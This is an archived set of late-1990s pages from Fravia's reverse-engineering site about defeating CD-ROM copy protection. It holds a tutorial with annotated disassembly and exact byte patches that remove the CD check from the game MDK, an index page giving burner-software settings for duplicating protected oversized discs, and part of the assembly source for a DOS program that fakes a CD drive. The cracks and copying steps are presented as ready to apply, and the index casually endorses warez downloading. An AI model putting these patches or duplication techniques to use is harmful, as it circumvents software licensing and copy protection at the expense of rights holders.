modern games can cause real problems when you add the 'stupid' CD check routine
- ranging from "Please insert the XXXXX CD in drive X" messages regardless of
whether it's there or not, failures to play red-book audio to a complete game-crash
or system lock-up. (Carmageddon is one such example).

It is therefore in the spirit of "getting the thing to run the way it should"
as much as the spin-off benefit of a CD-less gameplay, that I submit this little
tutorial & would also suggest that a section be started - dedicated to 3DFX
cracking!

So, to work then.

Well, call me a plagurist or whatever, but for this little crack I used nothing
more than:

DOS's File Compare


Yamato's published essay from +ORC's lesson about DOS4GW CD cracking.
An old MDK Win95 exe file already patched to remove the CD check.
Hedit v2.00 (OK, but I'm used to it!)
W32Dasm 8.7 (cracked to my liking of course!)

Having read the essay I had an idea of what was going on with this protection
(that +ORC is an amazing guy, how does he work out all this cram?), so I decided
to dissasemble the cracked exe & compare it to the original just to see it for
myself.
Sure enough, just as the man said, there was a compare followed by the setting
of a flag of doom with an optional jump to freedom. Now the sneaky part, 3DFX
exe's are structurally quite similar to native Win95 exe's - ie: both utilise
DirectX & D3D etc.
With this in mind I decided to dissasemble the MDK3DFX.EXE file that I had
downloaded from 3DFX.COM earlier in the day. Again, sure enough, there were
many similarities including data object strings etc. To cut a long story short
all I did was to track down the protection routine by comparing the data & string
positions between the Win95 executable & the 3DFX executable. Having narrowed

http://www.instinct.org/fravia/gimp1.htm (1 of 4) [2/7/2001 3:21:08 PM]


it down I simply traced the dead-listing back to the point where the check began
& ensured that (with as little code alteration as possible vis-a-vis +ORC's
advice) it followd a route avoiding the dreaded "BADEXE" string - you can imagine
what that means eh?

Anyway, below is a small excerpt from the 'CD cracked Win95 exe' followed by
the dead-listing to crack the 3DFX target.

**************** NATIVE WIN95 EXECUTABLE CD-PROTECTION CRACK *******************


(COURTESY OF ANON)

****** mdk95-org.txt
:00401D83 833DA699530000 cmp dword ptr [005399A6], 00000000
:00401D8A 7409 je 00401D95
:00401D8C E85F650700 call 004782F0
****** mdk95-crk.txt
:00401D83 833DA699530000 cmp dword ptr [005399A6], 00000000
:00401D8A EB09 jmp 00401D95 ***THIS MAKES IT GO TO THE SETTING OF THE
:00401D8C E85F650700 call 004782F0 GOOD GUY FLAG ROUTINE & ON TO FREEDOM***
******

Obviously, if you people out there don't have a 3DFX card you can still use this
to patch the win95 exe.

***************** 3DFX EXECUTABLE CD-PROTECTION CRACK ****************************


(COURTESY OF THE_GIMP!)

* Possible StringData Ref from Data Obj ->"MISC\MDKFONT.FTI"


|
:00402860 B810B24800 mov eax, 0048B210

* Referenced by a Jump at Address:0040298A(U)


|
:00402865 E83A2F0200 call 004257A4
:0040286A 31FF xor edi, edi
:0040286C A174965300 mov eax, dword ptr [00539674]
:00402871 893DFC965300 mov dword ptr [005396FC], edi
:00402877 E824020000 call 00402AA0
:0040287C E8276D0100 call 004195A8
:00402881 E846310100 call 004159CC
:00402886 E8D5550000 call 00407E60
:0040288B E8DCF9FFFF call 0040226C
:00402890 31C0 xor eax, eax
:00402892 E865240700 call 00474CFC
:00402897 E8BD240700 call 00474D59
:0040289C E8BB0B0200 call 0042345C
:004028A1 E816B10100 call 0041D9BC
:004028A6 E871ED0200 call 0043161C
:004028AB E844240100 call 00414CF4 FLAG
:004028B0 833D0097530000 cmp dword ptr [00539700], 00000000 *** CHECK FOR CD
***
:004028B7 0F84D2000000 je 0040298F ***JNE*** CHANGE TO JUMP IF NO CD!
:004028BD E83E1C0700 call 00474500 ** ELSE NAG ME TO DEATH!
:004028C2 85C0 test eax, eax ** CHECK AGAIN - BUT WERE'RE ALREADY

http://www.instinct.org/fravia/gimp1.htm (2 of 4) [2/7/2001 3:21:08 PM]


GONE!
:004028C4 0F85C5000000 jne 0040298F ** NOW IRRELEVANT **

******
****** LINES OF CODE
******

* Referenced by a Jump at Addresses:004028B7(C), :004028C4(C)


|
:0040298F 833DEC96530000 cmp dword ptr [005396EC], 00000000 ** MORE CHECKING **
:00402996 7532 jne 004029CA ** WE COULD FORCE THE JUMP HERE BUT LET'S
** LISTEN TO +ORC's ADVICE & LET IT ROLL! **

* Possible StringData Ref from Data Obj ->"rb"


|
:00402998 BA34B24800 mov edx, 0048B234

* Possible StringData Ref from Data Obj ->"MISC\FONTG.FTI"


|
:0040299D B838B24800 mov eax, 0048B238
:004029A2 E8BD940100 call 0041BE64
:004029A7 89C2 mov edx, eax
:004029A9 85C0 test eax, eax
:004029AB 7405 je 004029B2
:004029AD E8B7230700 call 00474D69

* Referenced by a Jump at Address:004029AB(C)


|
:004029B2 85D2 test edx, edx
:004029B4 7414 je 004029CA **JMP** HA! TIME TO FORCE THE JUMP - WE DO
NOT WANT TO GO DOWN THIS ROAD!!!

* Possible StringData Ref from Data Obj ->"BADEXE"


|
:004029B6 B848B24800 mov eax, 0048B248 *** BAD NEWS - DIE CD'LESS BANE!***
:004029BB E800220100 call 00414BC0 *** CUSSING ROUTINE ***
:004029C0 E85B050100 call 00412F20 *** MORE CUSSING ***
:004029C5 E900FFFFFF jmp 004028CA *** THE END OF LIFE! ***

* Referenced by a Jump at Addresses:00402996(C), :004029B4(C)


|
:004029CA B801000000 mov eax, 00000001 *** GOOD GUY! - HAVE A NICE FLAG! ***
:004029CF E828B00100 call 0041D9FC *** BLAH ***
:004029D4 E8478A0600 call 0046B420 *** BLAH ***
:004029D9 E88EF2FFFF call 00401C6C *** BLAH ***
:004029DE E9E7FEFFFF jmp 004028CA *** JUMP TO JOY! & PLAY MDK WITHOUT A CD
:004029E3 90 nop FOREVER & EVER MORE!!! ***

Well, there you go, patch away & enjoy! They say neccessity is the mother
of invention & I reckon I saved about 4 hours on a possibly fruitless
net-search for a 'ready-made' crack.

Laziness rules - even for crackers!

http://www.instinct.org/fravia/gimp1.htm (3 of 4) [2/7/2001 3:21:08 PM]


The_Gimp!

P.S.

Just in case any of you don't have it, here's the DOS version of the bytes
to patch:

Comparing files MDK-ORG.TXT and MDK-CRK.TXT


****** MDK-ORG.TXT
Disassembly of Linear Executable (LE) File: Mdk-ORG.exe

****** MDK-CRK.TXT
Disassembly of Linear Executable (LE) File: Mdk.exe

******

****** MDK-ORG.TXT
:0002E103 833D2AD20A0000 cmp dword ptr [000AD22A], 00000000
:0002E10A 7409 je 0002E115
:0002E10C E89FA60400 call 000787B0
****** MDK-CRK.TXT
:0002E103 833D2AD20A0000 cmp dword ptr [000AD22A], 00000000
:0002E10A EB09 jmp 0002E115 ******* DO IT HERE! *******
:0002E10C E89FA60400 call 000787B0
******

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Note


for Fravia: If you feel this is NOT worthy for project 4, maybe +Gthorne can use it? I previously submitted the 3D Game Menu
newbie tutorial, you said you'd passed it on but I didn't see it? Regards, The_Gimp!

http://www.instinct.org/fravia/gimp1.htm (4 of 4) [2/7/2001 3:21:08 PM]


project4.htm: Fravia's CD-ROM project

Reverse engineering Academy


Founded by +ORC in April 1996

CD-ROM faking

CD-ROM related reverse engineering


Updated in September 1999

The commonest tricks and the CD-Rom landscape

by fravia+, January 1999

The increase in illegal copying and burning of CD, that -take note- we don't condone if made for
commercial purposes, seems now to be a phenomenon that has taken such a dimension that IMO the
producers should better try to understand correctly instead of annoying software reversers that have
NOTHING to do with it... see, I'm not speaking of the fact that you can buy wherever in Russia now (on
the Arbat!) whole compilations for 2 Euro (each one of them containing the most recent software, each
CD worth 4-5000 Euros) since you could have done that even before the disappearance of the good old
Soviet Union, in Singapore, Beyruth, Belgrad or even at the rastro in Madrid... and since actually
there'snt any need to spend even those 2 lonely Euros, on a huge web where you can download whatever
you fancy for free from any decent warez site.

BTW, you may as well say goodbye to copyrighted music... to use Seidman's recent words: "Dear Music
Company Executives, The software to encode music into MP3 format already exists. I already have it on
my computer. So do a lot of other people. You will not be able to stop it because it is already there. Do
you get it? I know you're scared. I don't blame you. But the genie is already out of the bottle and try as
you might, you won't be able to stuff it back in. Get over it. You can store about 150 songs in MP3
format on a CD or about 10 HOURS of music on one CD. The Diamond Rio, which holds 60 minutes of
music is only the TIP of the iceberg."
Of course Seidman's is right... and I may add that all the encryption plans of those same commercial
bastards (my own translation of music company executives :-) mean only more fun for our reversing
studies... :-)

http://www.instinct.org/fravia/project4.htm (1 of 5) [2/7/2001 3:21:13 PM]


project4.htm: Fravia's CD-ROM project

Yet the real problem remains another, IMO: the real problem is that there are many completely 'legal'
HARDWARE fellons out there, that should worry the copyright holders even more than the
warez-pirates that sell (and protect :-) their (protected) pirated CD (like Twilight).
You want an hardware example? Here you go: Memodis has announced a CD-ROM burner that can
chain up to 28 burners together in groups of seven. It's a PC-independent hardware pirate-dream, that will
be delivered in three version, the biggest one with 7 burners and a LCD screen... now, pray tell me, who
will use this product? Ah ah... the 'free market' laws of demand and offer should always be respected... :-(

So let's do our work: let's reverse engineer software protection schemes, since this field because is
relevant for our reverse engineering studies.

CD-ROM protection schemes are based on some common tricks: first of all the idea (actively spreaded
by some software houses) that there is some space 'between tracks' on a CD, that would be written on the
original CD and checked by the protection scheme is nonsense. A Cd-ROM track is a spiral. The main
protection schemes used to day to avoid CD-ROM copying are based on the fact that CD-ROM disks
have a layout divised in tracks. The common structure is

Track #1 - MODE1
Track #2 - MODE2
Track #3 - AUDIO
Track #4 - AUDIO
Track #5 - MODE1

Note that in multisession CD-EXTRA discs the audio tracks are in the first session and there is a data
track in the second sesssion.
This 'mixed' mode stuff is used to "protect" games from being copied by beginners. Adaptect's software,
for instance cannot duplicate (on purpose) these mixed CDs. You'll need to use better software (CdWin
or, even better, Nero) to do it.
All the protection schemes based on the above structure can be easily cracked. There are two kind of
protection schemes that are more difficult to crack (yet they are not uncrackable, of course :-) and these
are Kodak Photo-CDs and Sony Playstation games (I don't mean those that you can bypass fixing the
playstatiuon unit), which both contain inside their pre-header (or subroutines) some code that initializes
the lusers' machine.
Let's have a look at the commonest tricks:
Trick: To avoid CD-copy, the most banal trick is to make the CD's bigger than the usual format. You
will therefore not be able to copy the CD on a regular (74 minutes) CD.
Bypass: there are two possible options to copy an 'enlarged' protected CD:
1) Get hold of good software that can copy more data on regular CD's (CDRWin, for instance... but the
best software IMO is Nero. If you use Nero, then 'Ignore Illegal TOC' + 'Ignore Read Errors' +
'Unreadable Data' & continue copying')
2) get CD's that are large enough to hold all the data.
3)If your CD-Recorder supports overburning (TEAC, PLEXTOR, YAMAHA) then u can enable the
overburn option in NERO ('Preferences' & Advanced settings' & 'enable CD oversize'). If you are not
sure all the data of the original disk will fit then just use a 80 minutes CD-R.

http://www.instinct.org/fravia/project4.htm (2 of 5) [2/7/2001 3:21:13 PM]


project4.htm: Fravia's CD-ROM project

Trick: As it was to be expected, there are now a series of protection schemes out that use partitions that
are larger than the largest CD-r available. Interestingly enough, pirates have been the first one to use this
kind of protection (Twilight began using this kind of protection from number 15, and went 'bigger' from
number 21).
Bypass: 1): (simple): Crack the scheme (remove the CD-size check from the menu).
2): (expensive): use CDRWin with one of the following recorders: Plextor PX-R412 Ci; Teac CDR 55 S;
ALL Yamaha recorders; Panasonic 7502. The reason you should use CDRWIn has to do with the ToC of
all CD-Roms: Every CD contains a table of contents (TOC) and a Lead In in which is listed what is on
the CD, so the CD-ROM drive can find the data on the disc. This TOC is on every CD and will be
written by the start of every recording session. And this of course takes up space on the CD so less space
is available for the actual data. This is where CDRWin comes in; the TOC and Lead In written by
CDRWin (CDRWin: www.goldenhawk.com) are much smaller if you compare it to other recording
software (NERO: www.ahead.de; Creator Deluxe: www.adaptec.com; DiskJuggler: www.padus.com;
Prassi CD Replicator: www.prassi.com; Feurio www.feurio.de everyone of these programs can be fished
from the web)

This important project was started by the +HCU in May 1997. Take
note: part of the following essays are considered HISTORY of the
cracking scene, and relate to various CD-Rom protection schemes.
Please note that there are on the academy many other CD-related
essays that should be included in here (anyone has the will to do a
little 'polishing'? :-)

PHASE 1 by Animadei:

EMULATE CD-ROM (an ASM file), 11 May - 3 November 1997


(Emulating MSCDEX)

This asm file introduces to all future good crackers the BASIS of cd-rom emulation, which has an
obvious importance for our trade. As animadei himeself writes to me: I've taken the liberty to give my
cd-emulator source as a small contribution to the cracking community. There's a file attached to this
letter. ECD "Emulate CD" - introduces emulating a CD and substitutions of drives like "subst.exe"...
PHASE 2 by Aesculapius:

Brief Tutorial on CD Access Based Protection Schemes Under Windows, 28 August 1997
(Cracking Virtua Fighter PC)

Well, a VERY welcome contribution by our Aesculapius! It was time that somebody took care of the
CD-ROM checks, which btw, in general, are NOT very difficult to defeat. I hope that with the help of this
addition many +crackers will be stimulated and work on such schemes, bringing ahead this poor and
neglected (yet important) project 4!

http://www.instinct.org/fravia/project4.htm (3 of 5) [2/7/2001 3:21:13 PM]


project4.htm: Fravia's CD-ROM project

PHASE 3 by +DataPimp:

WarLords 3 Cd-Check, 24 September 1997


(A Very Simple Protection)

Well, it was about time that somebody wrote something more! Riddler shows here how (relatively) easy it
is to reverse engineer such schemes! I hope that with the help of this addition many +crackers will be
stimulated and work on such schemes, bringing ahead this poor and neglected (yet important) project 4!
PHASE 4 by +DataPimp:

CD-Rom reversing MechWarrior2 Mercenaries, 26 September 1997


(Another Approach to the Cd-Check scheme)

Well, +DataPimp is slowly "specialising" in this very interesting cracking subject! Here is his SECOND
essay in a very short time. Let's hope he keeps sending material, as I will repeat (once more): "I hope
that with the help of this addition many +crackers will be stimulated and work on such schemes, bringing
ahead this poor and neglected (yet important) project 4!
PHASE 5 by +ALT-F4:

Cracking the Mystique Patch for Tombraider, 17 October 1997


(the write random file trick)

A new +HCUker (that has already contributed to our site in the past) shows here how (relatively) easy it
is to reverse engineer a video patch for Tombraider... a good game btw, you'll find it on almost any
warez server... I personally prefer the older version 1 to version 2 :-)
PHASE 5 by +Rcg:

CD ROM from top to down, 19 October 1997


(MSCDEX, reversing drivers and CD-ROM related interrupts)

Well, a welcome "basic" addition by +Rcg, who clear things a little out on such important matters like
accessing the CD-ROM through the MSCDEX driver.
PHASE 6 by NaTzGUL:

InstallSHIELD Script Cracking, 22 November 1997


(Object oriented cracking: INSTALL WIZARDS CRACKING)

Well, a very interesting essay. Here we have a very "sound" approach to Installshield cracking. Read
and enjoy!
PHASE 7 by -= +DataPimp =-:

http://www.instinct.org/fravia/project4.htm (4 of 5) [2/7/2001 3:21:13 PM]


project4.htm: Fravia's CD-ROM project

Quake2 CD-Rom reversing, 20 December 1997


(More about CD-ROM deprotections and Cd-Checks)

Quake II... so easy you could cry!


PHASE 8 by TWD:

The cracking of "Age of Empires", 27 Dec 1997


(with a general digression about CD-based copy protections of most Windows95 games)
PHASE 9 by FootSteps:

Oldies but Goodies, 04 Mar 1998


(A Dos Game CD-check with Sourcer 7)

Well, let's rationalize things a little...


01 June A different approach cracking a
Q ~ q_tsr601.htm proj 4 ~ fra_0124
98 DOS CD-protection
09 Jan Thief and the current Eidos
Kilby ~ kilby.htm proj 4 ~ fra_017B
99 protection scheme
advanced
20 Jan CD-Cops ~ Another ready-made
McLallo ~ cdromcla.htm proj 4 ~ fra_0183
99 protection annihilated
protec
Reverse Engenering The
24 Sep
zoltan ~ d2kessay.htm Protections From WestWood: proj 4 ~ fra_xxxx
99
DUNE
24 Sep How to defeat a cd-lock
zoltan ~ zltcomma.htm proj 4 ~ fra_xxxx
99 protection: COMMANDOS

You'r deep inside fravia's pages of reverse engineering, choose your way out!

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/project4.htm (5 of 5) [2/7/2001 3:21:13 PM]


project2

CD-Rom emulation (Project 4)


~
PHASE 1 by Animadei

~
Courtesy of Fravia's page of reverse engineering
~

PHASE 1 by Animadei

This asm file introduces to all future good crackers the BASIS of
cd-rom emulation, which has an obvious importance for our trade. As
animadei himeself writes to me:

I've taken the liberty to give my cd-emulator source as a small


contribution to the cracking community. There's a file attached to this
letter. ECD "Emulate CD" - introduces emulating a CD and substitutions
of drives like "subst.exe

This kind of cracking is very important, because once you understand the techniques
used by Animadei in its Cd-Rom emulator, you'll be able to prepare easily your own
cracking
tools

; EMULATE CD-ROM - DESIGNED BY ANIMADEI 12/25/1995 OVER 48+ HRS OF WORK


; Stat: make option for MSCDEX to reply regardless because of some games
; that don't call MSCDEX properly. 12/26/1995

.MODEL TINY
.CODE
ORG 0100H

;********************************EQUATES*************************************
CHK1 EQU 1995H ; CHECK LOADED ID 1
CHK2 EQU 1227H ; CHECK LOADED ID 2
UNLOAD_TSR EQU 0F00DH ; UNLOAD ID QUE
;****************************************************************************

START:

http://www.instinct.org/fravia/animadei.htm (1 of 14) [2/7/2001 3:21:19 PM]


project2

JMP BEGINNING_CODE

;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@INTERRUPT CODES@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
TSR_START:

;-- CD CALLS -------------------------------------------------------------


CMP AX,1100H ; MSCDEX DRIVER CHECK
JNZ @@NOT_MSCDEX_CHECK

PUSH BP
MOV BP,SP
CMP BYTE PTR CS:[REPLY_MSCDEX],0FFH
JNZ @@DONT_REPLY
MOV AL,0FFH
@@DONT_REPLY:
CMP WORD PTR SS:[BP+08H],0DADAH
POP BP
JZ @@YES_MSCDEX_CHECK
JMP @@IRET
@@YES_MSCDEX_CHECK:
MOV AL,0FFH
PUSH BP
MOV BP,SP
MOV WORD PTR SS:[BP+08H],0ADADH
POP BP
IRET ; RETURN
@@NOT_MSCDEX_CHECK:

; { AH CHECK }
CMP AH,15H
JNZ @@NOT_ABOUT_CDROM

; { CASE OF AL }
CMP AL,00H ; EXTENDED DRIVES CHECK
JZ @@EXTENDED_DRIVES_CHECK

CMP AL,01H ; LIST OF DRIVES


JZ @@IRET
; CMP AL,02H ; COPYRIGHT MESSAGE
; JZ @@IRET
; CMP AL,03H ; GET ABSTRACT NAME
; JZ @@IRET
; CMP AL,04H ; GET BIBLIOGICAL FILE
; JZ @@IRET
CMP AL,0BH ; CDROM DRIVE CHECK
JZ @@CDROM_DRIVE_CHECK
CMP AL,0CH ; MSCDEX VERSION
JZ @@MSCDEX_VER
CMP AL,0DH ; STORE CDROM DRIVE LETTER TO ES:BX
JZ @@GET_CD_LETTERS
CMP AL,10H ; SEND CD ROM REQUEST
JZ @@SEND_CD_REQ

;-- JUMP TO ORGINAL INT 2F -----------------------------------------------

http://www.instinct.org/fravia/animadei.htm (2 of 14) [2/7/2001 3:21:19 PM]


project2

@@NOT_ABOUT_CDROM: ; JUST A LABEL


DB 0EAH ; RETURN BACK TO REAL INT 2F
INTERRUPT
JMP_ADDR: DD ?

;-- JUMP BACK FROM INTERRUPT -----------------------------------------------

@@IRET:
IRET ; RETURN

;-- PROCEDURES -----------------------------------------------------------


@@EXTENDED_DRIVES_CHECK:
MOV BX,01H
XOR CX,CX
MOV CL,BYTE PTR CS:[EDRIVE]
IRET ; RETURN

@@CDROM_DRIVE_CHECK:
CMP CL,BYTE PTR CS:[EDRIVE]
JZ @@CD_CHECK
XOR AX,AX
MOV BX,0ADADH
IRET
@@CD_CHECK:
MOV AX,0FFFFH
MOV BX,0ADADH
IRET ; RETURN

@@GET_CD_LETTERS:
PUSH AX
MOV AL,BYTE PTR CS:[EDRIVE]
MOV BYTE PTR ES:[BX],AL
POP AX
IRET ; RETURN

@@SEND_CD_REQ:
CMP CL,BYTE PTR CS:[EDRIVE]
JNZ @@NOT_EQU
MOV WORD PTR ES:[BX+03H],0100H
IRET ; RETURN
@@NOT_EQU:
MOV WORD PTR ES:[BX+03H],8001H
IRET ; RETURN

;--------------------------- UNLOADING SEQUENCE -----------------------------


@@MSCDEX_VER:

CMP BX,CHK1 ; CHECK IF WE'RE BEING CALLED


JNZ @@NOT_CALLING_US

CMP CX,UNLOAD_TSR ; CHECK TO UNLOAD TSR


MOV CX,CHK2 ; SIGNAL WE'RE ALIVE!
JNZ @@NOT_CALLING_US

http://www.instinct.org/fravia/animadei.htm (3 of 14) [2/7/2001 3:21:19 PM]


project2

;-- UNLOAD --
PUSH AX
PUSH DX
PUSH DS
PUSH ES
PUSH DI
PUSH SI

MOV AX,352FH ; CHECK IF ADDR INT IS THE SAME


INT 21H
MOV AX,CS
MOV DX,ES
CMP AX,DX
MOV CL,00H ; FLAG FOR ERROR
JNZ @@INT_NOT_SAME
CMP BX,OFFSET TSR_START
JNZ @@INT_NOT_SAME
LDS DX,DWORD PTR CS:[JMP_ADDR]
MOV AX,252FH
INT 21H

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; RESTORE SUBST DRIVE HERE!
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
LES DI,DWORD PTR CS:[SUBST_ADDR] ; RETORE ORIGINAL SUBST DATA
MOV SI,OFFSET ORG_SUBST_DATA
MOV CX,88D
PUSH CS
POP DS
CLD
REP MOVSB
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

cli ; Unload TSR


mov AH,49h
mov ES,CS:[2CH]
int 21h
mov AH,49h
PUSH CS
POP ES
int 21h
sti

MOV CL,01H ; REPLY THAT WE'VE UNLOADED


@@INT_NOT_SAME:
MOV CH,00H
POP SI
POP DI
POP ES
POP DS
POP DX
POP AX

;---------
@@NOT_CALLING_US:

http://www.instinct.org/fravia/animadei.htm (4 of 14) [2/7/2001 3:21:19 PM]


project2

MOV BX,0217H
IRET ; RETURN

;-- DATA -----------------------------------------------------------------


REPLY_MSCDEX: DB ? ; IF PROG NEEDS TO REPLY MSCDEX AT
ALL TIMES
EDRIVE: DB ? ; EMULATED DRIVE
SUBST_ADDR: DD ? ; WHERE ORG EMU ADDR IS LOC
ORG_SUBST_DATA: DB 88D DUP (?) ; SAVED SUBST DATA
;-------------------------------------------------------------------------
TSR_END:

;############################################################################
;#########################MAIN PROGRAM STARTS HERE###########################
;############################################################################

BEGINNING_CODE:

CLD ; FOR FORWARD REFERENCE

CALL BEGIN_PARSING ; PARSE AND OTHERS MISC THINGS

MOV AH,62H ; FREE MEM BEFORE ALLOC


INT 21H
MOV ES,BX
MOV AH,62H
INT 21H

; ALTERNATIVE MEMORY ALLOCATION BY KEEP - TAKES MORE MEMORY!


; MOV DX,((OFFSET TSR_END - OFFSET START) + 0FFH)/0FH + 01H
; mov ax,3100h ; { Keep(0) }
; int 21h

MOV DX,OFFSET TSR_END ; TERMINATE & STAY RESIDENT


INT 27H

;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;%%%%%%%%%%THESE FOLLOWING CODES ARE NOT LOADED TO MEMORY BY INT 27%%%%%%%%%%
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

BEGIN_PARSING:

;-------------------- ; PRINT MAIN TITLE


MOV DX,OFFSET MAIN
CALL P

http://www.instinct.org/fravia/animadei.htm (5 of 14) [2/7/2001 3:21:19 PM]


project2

;--------------------

MOV AH,30H ; CHECK DOS VERSION:


INT 21H ; ECD NEEDS DOS 4.0+
CMP AL,04H
JAE @DOS_VER_OK
MOV DX,OFFSET DOS_ERROR
CALL P
MOV AL,01H
JMP @EXIT
@DOS_VER_OK:

MOV WORD PTR [EXTRA],'\:' ; A MUST: "C:\BLAH" (THIS IS


MOV BYTE PTR [TEMP_CHANGE],'\' ; DONE TO SAVE SOME BYTES

MOV BYTE PTR [REPLY_MSCDEX],00H ; SET FLAGS TO FALSE "INITIALIZE"

MOV SI,81H ; LET'S BEGIN PARSING


CALL SKIP_BLANKS ; SKIP ALL BLANKS
LODSW

CMP AL,'/' ; OPTION: UNLOAD


JNZ @OK___PASS1
CMP AH,'a'
JZ @OK___MSCDEX_FLAG
CMP AH,'A'
JZ @OK___MSCDEX_FLAG
CMP AH,'u'
JZ @OK___OK_UNLOAD
CMP AH,'U'
JZ @OK___OK_UNLOAD
JMP @HELP

@OK___MSCDEX_FLAG:
MOV BYTE PTR [REPLY_MSCDEX],0FFH ; OPTION: MSCDEX REPLIES AT
INT 3H
;;;;
; DEC SI ; ALL TIMES
CALL SKIP_BLANKS
LODSW
JMP @OK___PASS1

@OK___OK_UNLOAD:
MOV AX,150CH ; UNLOAD!
MOV BX,CHK1
MOV CX,0F00DH
INT 2FH
OR CX,CX ; CHECK IF ANY ERROR OCCURRED
JNZ @OK____UNLOADED ; WHILE UNLOADING
MOV DX,OFFSET UNLOAD_ERR2
CALL P
MOV AL,01H
JMP @EXIT
@OK____UNLOADED:
CMP CL,01H ; IF 0 THEN WE'RE NOT LOADED

http://www.instinct.org/fravia/animadei.htm (6 of 14) [2/7/2001 3:21:19 PM]


project2

JZ @OK___UNLOAD_IT
MOV DX,OFFSET NOT_LOADED
CALL P
XOR AX,AX
JMP @EXIT
@OK___UNLOAD_IT:
MOV DX,OFFSET UNLOAD_OK
CALL P
XOR AX,AX
JMP @EXIT
@OK___PASS1:

CALL CHECK4ALPHADRV ; DRIVES ARE ALPHA CHARS ONLY


MOV BYTE PTR [DRIVE],AL ; SAVE THE EMU DRIVE

CALL SKIP_BLANKS
CMP AL,0DH
JNZ @OK___PASS2
@OK___CUR_DIR:
MOV SI,OFFSET DIRECTORY ; GET CURRENT DIRECTORY
CALL GET_CUR_DIR
ADD AL,41H
MOV BYTE PTR [XDRIVE],AL ; SAVE THE SUBST DRIVE
JMP @END_PARSING_FOR_DIR
@OK___PASS2:

PUSH SI ; CHECK FOR USER DEFINED SUBST


POP DI ; DRIVE
LODSW
CMP AH,':'
JZ @OK___DRIVE_SPECIFIED
MOV SI,OFFSET DIRECTORY ; GET CURRENT DIRECTORY
CALL GET_CUR_DIR ; * THIS IS ONLY TEMP: JUST
ADD AL,41H ; TO GET THE CUR DRIVE *
MOV BYTE PTR [XDRIVE],AL ; SAVE THE SUBST DRIVE

MOV SI,DI
CALL SKIP_BLANKS
JMP @GOT_DRIVE
@OK___DRIVE_SPECIFIED:
CALL CHECK4ALPHADRV ; DRIVES ARE ALPHA CHARS ONLY
MOV BYTE PTR [XDRIVE],AL
@GOT_DRIVE:

MOV DI,OFFSET DIR1


CALL COPY_STR
CMP BYTE PTR [DI],'\'
JZ @OK___CONV
CMP BYTE PTR [DI],0DH
JZ @OK___CONV
CMP BYTE PTR [DI],20H
JNZ @OK___PASS3
@OK___CONV:
DEC DI
@OK___PASS3:

http://www.instinct.org/fravia/animadei.htm (7 of 14) [2/7/2001 3:21:19 PM]


project2

INC DI
XOR AX,AX
STOSB

CALL CHANGE_TO_TEMP_DIR
CALL CHANGE_BACK_TO_ORG_dIR

@END_PARSING_FOR_DIR:

;##########################################################################
;**************************************************************************
; SUBST THE FAKE DRIVE
;**************************************************************************
;##########################################################################

MOV AX,150CH ; CHECK IF WE ARE LOADED


MOV BX,CHK1
INT 2FH
CMP CX,CHK2
JNZ @@NOT_LOADED
MOV DX,OFFSET UNLOAD_ERR1
CALL P
MOV AL,01H
JMP @EXIT
@@NOT_LOADED:

MOV AH,19H
INT 21H
MOV DL,AL
MOV AH,0EH
INT 21H
MOV DL,BYTE PTR [DRIVE]
MOV BYTE PTR [DRIVE_ERR],DL
SUB DL,41H
MOV AH,00H
CMP DL,AL
JL @OK___DRIVES_LISTED_IN_DOS
MOV DX,OFFSET DRIVE_ERR
CALL P
MOV AL,01H
JMP @EXIT
@OK___DRIVES_LISTED_IN_DOS:

MOV DX,OFFSET NO_SPEC ; PRINT EMULATED DRIVE


CALL P

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;SUBST DRIVE HERE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

CALL CHANGE_TO_TEMP_DIR

MOV AH,52H ; GET MCB OF DOS ADDRESS


INT 21H

CWD

http://www.instinct.org/fravia/animadei.htm (8 of 14) [2/7/2001 3:21:19 PM]


project2

MOV DL,BYTE PTR [DRIVE]


SUB DL,41H
MOV BYTE PTR [EDRIVE],DL ; SAVE EMULATED DRIVE

MOV AX,88D ; GET ADDRESS OF DESCRIPTION


IMUL DX ; OF DISKS
LES BX,DWORD PTR ES:[BX+18H]
MOV WORD PTR [TEMP_ADDR+02H],ES ; TEMP ADDR FOR SUBST DRIVE CALC
MOV WORD PTR [TEMP_ADDR+00H],BX
MOV CX,ES
ADD AX,CX
ADC BX,0000H
MOV WORD PTR [SUBST_ADDR+02H],BX ; SAVE CALCULATED ADDRESS
MOV WORD PTR [SUBST_ADDR+00H],AX

PUSH CS ; CHANGE TO DOS'S LIST OF DRIVES


POP ES
MOV DI,OFFSET ORG_SUBST_DATA ; ES:DI - ORG SUBST DATA
LDS SI,DWORD PTR [SUBST_ADDR] ; DS:SI - LIST OF DRIVES
MOV CX,88D ; SAVE SUBST DRIVE'S DATA
REP MOVSB ; SAVE FOUND DRIVE DATA

PUSH CS
POP DS
LES DI,DWORD PTR [SUBST_ADDR] ; ES:DI - EMU DRIVE
CWD
MOV DL,BYTE PTR [XDRIVE]
SUB DL,41H
MOV CX,88D
MOV AX,CX
IMUL DX
MOV SI,WORD PTR [TEMP_ADDR+02H]
MOV BX,WORD PTR [TEMP_ADDR+00H]
ADD SI,AX
ADC BX,0000H
MOV DS,BX ; DS:SI - SUBST DRIVE
REP MOVSB ; REPLACE WITH NEW DRIVE DATA

LDS SI,DWORD PTR CS:[SUBST_ADDR+00H] ; STORE LENGTH OF SPECIFIED


CALL STRING_LENGTH ; DIRECTORY 'STRING' TO EMU
